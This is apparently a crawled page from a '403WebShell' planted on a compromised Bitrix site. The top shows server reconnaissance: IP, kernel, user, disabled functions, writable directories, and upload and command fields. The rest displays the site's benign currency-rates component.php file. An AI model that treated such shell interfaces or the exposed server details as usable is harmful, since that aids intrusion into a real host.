%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.217.104.118
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/currency/install/components/bitrix/currency.rates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/currency/install/components/bitrix/currency.rates/component.php
<?if(!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED!==true)die();

use Bitrix\Main\Loader,
	Bitrix\Currency;

if (!isset($arParams['arrCURRENCY_FROM']))
	$arParams['arrCURRENCY_FROM'] = array();
foreach ($arParams['arrCURRENCY_FROM'] as $key => $value)
{
	if ('' === $value)
		unset($arParams['arrCURRENCY_FROM'][$key]);
}

$arParams['CURRENCY_BASE'] = trim($arParams['CURRENCY_BASE']);

$arParams['RATE_DAY'] = trim($arParams['RATE_DAY']);

$arParams['SHOW_CB'] = ('Y' == $arParams['SHOW_CB'] ? 'Y' : 'N');
if ('RUB' != $arParams['CURRENCY_BASE'] && 'RUR' != $arParams['CURRENCY_BASE'])
	$arParams['SHOW_CB'] = 'N';

if (!isset($arParams["CACHE_TIME"]))
	$arParams["CACHE_TIME"] = 86400;
$arParams["CACHE_TIME"] = intval($arParams["CACHE_TIME"]);

if ($this->StartResultCache())
{
	if (!Loader::includeModule('currency'))
	{
		$this->AbortResultCache();
		ShowError(GetMessage("CURRENCY_MODULE_NOT_INSTALLED"));
		return;
	}

	global $CACHE_MANAGER;

	$arResult = array();
	$arResult["CURRENCY"] = array();

	if ('' == $arParams["CURRENCY_BASE"])
		$arParams["CURRENCY_BASE"] = COption::GetOptionString("sale", "default_currency");

	if ('' == $arParams["CURRENCY_BASE"])
		$arParams["CURRENCY_BASE"] = Currency\CurrencyManager::getBaseCurrency();

	if ('' != $arParams["CURRENCY_BASE"])
	{
		if ('' == $arParams["RATE_DAY"])
		{
			$arResult["RATE_DAY_TIMESTAMP"] = time();
			$arResult["RATE_DAY_SHOW"] = ConvertTimeStamp($arResult["RATE_DAY_TIMESTAMP"], 'SHORT');
		}
		else
		{
			$arRATE_DAY_PARSED = ParseDateTime($arParams["RATE_DAY"], "YYYY-MM-DD");
			$arRATE_DAY_PARSED['YYYY'] = intval($arRATE_DAY_PARSED['YYYY']);
			if (1901 > $arRATE_DAY_PARSED["YYYY"] || 2038 < $arRATE_DAY_PARSED["YYYY"])
			{
				$arResult["RATE_DAY_TIMESTAMP"] = time();
				$arResult["RATE_DAY_SHOW"] = ConvertTimeStamp($arResult["RATE_DAY_TIMESTAMP"], 'SHORT');
			}
			else
			{
				$arResult["RATE_DAY_TIMESTAMP"] = mktime(0, 0, 0, $arRATE_DAY_PARSED["MM"], $arRATE_DAY_PARSED["DD"], $arRATE_DAY_PARSED["YYYY"]);
				$arResult["RATE_DAY_SHOW"] = ConvertTimeStamp($arResult["RATE_DAY_TIMESTAMP"], 'SHORT');
			}
		}

		if (!empty($arParams["arrCURRENCY_FROM"]))
		{
			if ('Y' == $arParams["SHOW_CB"])
			{
				$bWarning = false;

				$obHttp = new CHTTP();
				$obHttp->Query(
					'GET',
					'www.cbr.ru',
					80,
					"/scripts/XML_daily.asp?date_req=".date("d.m.Y", $arResult["RATE_DAY_TIMESTAMP"]),
					false,
					'',
					'N'
				);

				$strQueryText = $obHttp->result;
				if (empty($strQueryText))
					$bWarning = true;

				if (!$bWarning)
				{
					if (SITE_CHARSET != "windows-1251")
						$strQueryText = $APPLICATION->ConvertCharset($strQueryText, "windows-1251", SITE_CHARSET);

					require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/classes/general/xml.php");

					$strQueryText = preg_replace("#<!DOCTYPE[^>]+?>#i", "", $strQueryText);
					$strQueryText = preg_replace("#<"."\\?XML[^>]+?\\?".">#i", "", $strQueryText);

					$objXML = new CDataXML();
					$objXML->LoadString($strQueryText);
					$arData = $objXML->GetArray();

					$arFields = array();
					$arResult["CURRENCY_CBRF"] = array();

					if (!empty($arData) && is_array($arData))
					{
						if (!empty($arData["ValCurs"]) && is_array($arData["ValCurs"]))
						{
							if (!empty($arData["ValCurs"]["#"]) && is_array($arData["ValCurs"]["#"]))
							{
								if (!empty($arData["ValCurs"]["#"]["Valute"]) && is_array($arData["ValCurs"]["#"]["Valute"]))
								{
									$arCBVal = $arData["ValCurs"]["#"]["Valute"];
									foreach($arCBVal as &$arOneCBVal)
									{
										if (in_array($arOneCBVal["#"]["CharCode"][0]["#"], $arParams["arrCURRENCY_FROM"]))
										{
											$arCurrency = array(
												"CURRENCY" => $arOneCBVal["#"]["CharCode"][0]["#"],
												"RATE_CNT" => intval($arOneCBVal["#"]["Nominal"][0]["#"]),
												"RATE" => doubleval(str_replace(",", ".", $arOneCBVal["#"]["Value"][0]["#"]))
											);

											$arResult["CURRENCY_CBRF"][] = array(
												"FROM" => CCurrencyLang::CurrencyFormat($arCurrency["RATE_CNT"], $arCurrency["CURRENCY"], true),
												"BASE" => CCurrencyLang::CurrencyFormat($arCurrency["RATE"], $arParams["CURRENCY_BASE"], true),
											);
										}
									}
									if (isset($arOneCBVal))
										unset($arOneCBVal);
								}
							}
						}
					}
				}
			}

			$currencyList = array();
			$iterator = Currency\CurrencyTable::getList(array(
				'select' => array('CURRENCY', 'AMOUNT_CNT'),
				'filter' => array('@CURRENCY' => $arParams["arrCURRENCY_FROM"]),
				'order' => array('CURRENCY' => 'ASC')
			));
			while ($row = $iterator->fetch())
			{
				$currencyList[$row['CURRENCY']] = $row['CURRENCY'];
				$rate = CCurrencyRates::ConvertCurrency(
					$row['AMOUNT_CNT'],
					$row['CURRENCY'],
					$arParams['CURRENCY_BASE'],
					$arParams['RATE_DAY']
				);
				$arResult['CURRENCY'][] = array(
					'FROM' => CCurrencyLang::CurrencyFormat($row['AMOUNT_CNT'], $row['CURRENCY'], true),
					'BASE' => CCurrencyLang::CurrencyFormat($rate, $arParams['CURRENCY_BASE'], true),
				);
				unset($rate);
			}
			unset($row, $iterator);

			if (!empty($currencyList) && defined("BX_COMP_MANAGED_CACHE"))
			{
				$currencyList[$arParams["CURRENCY_BASE"]] = $arParams["CURRENCY_BASE"];

				$CACHE_MANAGER->StartTagCache($this->GetCachePath());
				foreach ($currencyList as $currency)
					$CACHE_MANAGER->RegisterTag('currency_id_'.$currency);
				unset($currency);
				$CACHE_MANAGER->EndTagCache();
			}
		}
	}

	$this->IncludeComponentTemplate();
}

Youez - 2016 - github.com/yon3zu
LinuXploit